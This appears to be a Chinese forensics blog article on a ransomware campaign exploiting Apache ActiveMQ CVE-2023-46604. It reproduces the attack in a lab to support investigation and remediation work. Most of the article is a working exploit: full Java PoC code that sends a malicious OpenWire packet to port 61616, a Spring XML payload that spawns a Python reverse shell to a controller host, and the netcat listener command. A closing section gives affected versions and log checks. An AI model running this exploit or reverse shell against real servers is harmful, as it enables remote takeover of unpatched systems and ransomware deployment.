技术分享 | 取证揭秘:Apache ActiveMQ漏洞背后的勒索软件攻击
共 7929字,需浏览 16分钟
·
2024-07-26 17:15
在最近的一起案件中,笔者发现了一起利用Apache ActiveMQ(CVE-2023-46604)漏洞的勒索软件攻击活动。在案件分析中发现,漏洞不仅被用于部署勒索软件,攻击者还通过该漏洞成功部署了SparkRAT。这是一个使用Go语言编写的跨平台远程控制木马,增加了对受害系统的远程控制和操控风险。
Apache ActiveMQ(CVE-2023-46604)漏洞被视为ActiveMQ中最严重的漏洞之一。攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。
从2023年10月25日首次发现至截至2024年1月9日,通过ZoomEye网络空间搜索引擎检索,发现约282557个潜在受影响的IP地址历史记录,主要分布在中国等国家。
1.(ubuntu) 靶机,设置IP地址为:172.18.10.129。
2.(ubuntu)apache-activemq-5.15.10,案件中提取到的漏洞服务程序。
3.(windows)取证工作机,设置IP地址为:172.18.10.1。
4.(windows)Netcat ,是网络测试工具。
5.(windows)NFS ,是http服务器。
复现过程中使用的工具和代码下载地址:
| https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/ |
步骤一:创建一个“Ubuntu 22.04 LTS”的靶场主机,配置好python和java环境
步骤二:安装Apache-activemq-5.15.10服务程序
1. 解压Apache-activemq-5.15.10压缩包文件
通过XFTP工具上传到/data工作目录下,并进行解压。
2. 启动Apache-activemq-5.15.10 服务程序
进入bin目录
| cd /data/apache-activemq-5.15.10/bin |
启动服务程序
| ./activemq start |
ActiveMQ的靶场已经准备成功(使用浏览器访问http://172.18.10.129:8161可以验证)。
步骤三:漏洞复现
复现过程中使用的工具和代码下载地址:
| https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/ |
在Windows取证电脑上进行:
1. 创建D:\tools\poc\exploit目录
2. 创建poc.java程序
import java.io.*;import java.net.Socket;public class poc {public static void main(final String[] args) throws Exception {System.out.println("[*] Poc for ActiveMQ openwire protocol rce");String ip = "172.18.10.129"; **此处是ActiveMQ服务IPint port = 61616; **此处是ActiveMQ服务端口String pocxml= "http://172.18.10.1:8000/poc.xml";**此处是指向http服务的POC.xmlSocket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0);out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();System.out.println("[*] Target\t" + ip + ":" + port);System.out.println("[*] XML address\t" + pocxml);System.out.println("[*] Payload send success.");}}
3. 创建poc.xml程序
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>python</value> **此处是调用python命令去执行shell命令。<value>-c</value><value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.10.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value> **此处是172.18.10.1 控制端的9999端口</list></constructor-arg></bean></beans>
4. 配置NC程序
进入程序目录:
| D:\tools\poc\NC |
| nc -L -p 9999 |
5. 配置HTTP服务器
进入程序目录:
| D:\tools\poc\nfs |
6. 运行poc恶意程序
进入目录文件夹
| D:\tools\poc\exploit |
找到已创建的Poc文件:
运行poc恶意程序:
| java poc.java |
最终结果:
成功反弹shell后,取得控制权,随后执行"ip addr"指令查看被控端的IP地址,结果如下:
1. 查看ActiveMQ版本号
| ./activemq --version |
影响版本:
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
2. 找到ActiveMQ的日志文件:
3. 分析相关日志信息
重点检查ActiveMQ的访问日志,通常记录有关连接和请求的信息。查找与8161和61616端口相关的日志条目,特别关注连接失败、异常或非正常行为。
本篇文章带大家深入地了解了攻击的整个过程,以及对遭受攻击的系统进行的详细调查,包括搜集有关漏洞利用的系统日志、网络通信记录以及其他数字证据。通过详细的取证工作,我们可以更全面地了解攻击者的手法,为后续的安全修复和法律调查提供有力支持。
供稿:赵弘
编辑排版:Serene
审核:Spartan117
